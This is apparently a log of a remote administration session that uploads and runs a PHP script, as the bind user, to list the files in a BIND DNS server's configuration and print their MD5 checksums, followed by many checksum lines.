MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:51:48: Establishing a connection
2026-05-06 10:51:48: 

PUT: /tmp/pkp625715

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:51:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp625715; rm /tmp/pkp625715'

2026-05-06 10:51:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
